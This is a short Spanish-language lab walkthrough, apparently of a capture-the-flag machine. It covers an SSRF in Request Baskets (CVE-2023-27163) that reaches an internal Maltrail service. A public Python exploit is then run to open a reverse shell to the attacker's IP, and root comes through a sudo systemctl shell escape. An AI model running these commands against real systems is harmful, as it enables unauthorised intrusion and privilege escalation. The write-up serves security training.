Hacemos el escaneo con nmap:

Accedemos al puerto 55555 por la web y nos encontramos con esto:

Si damos en create, se nos abre esta ventana:

Se crea un basket:

Y nos encontramos con que esta web es vulnerable a un Server-Side Request Forgery:

Y por aquí tenemos una PoC:

https://github.com/rvizx/CVE-2023-27163

Una vez visto esto, investigamos cómo explotar esto:

https://medium.com/@li_allouche/request-baskets-1-2-1-server-side-request-forgery-cve-2023-27163-2bab94f201f7

En la web vamos a establecer la siguiente configuración dentro del panel de ajustes y le cargamos en puerto 80 ya que estaba filtrado dentro del reporte de nmap:

Una vez que hayamos hecho esto, accedemos a nuestro basket y vemos algo de mail track, que en realidad es lo que corre por el puerto 80:

Donde tenemos la versión:

Y tenemos forma de explotar vulnerabilidades de este servicio:

https://github.com/spookier/Maltrail-v0.53-Exploit

Nos bajamos el exploit de Python y lo probamos siguiendo las instrucciones:

Y le pasamos la url del basket que habíamos generado:

python3 exploit.py 10.10.16.6 443 http://10.10.11.224:55555/9e1s83l

Y obtenemos la reverse shell:

Y con sudo -l podemos ejecutar el siguiente comando como root:

En este punto simplemente ejecutamos como root el binario y con una exclamación le pasamos una bash:

sudo /usr/bin/systemctl status trail.service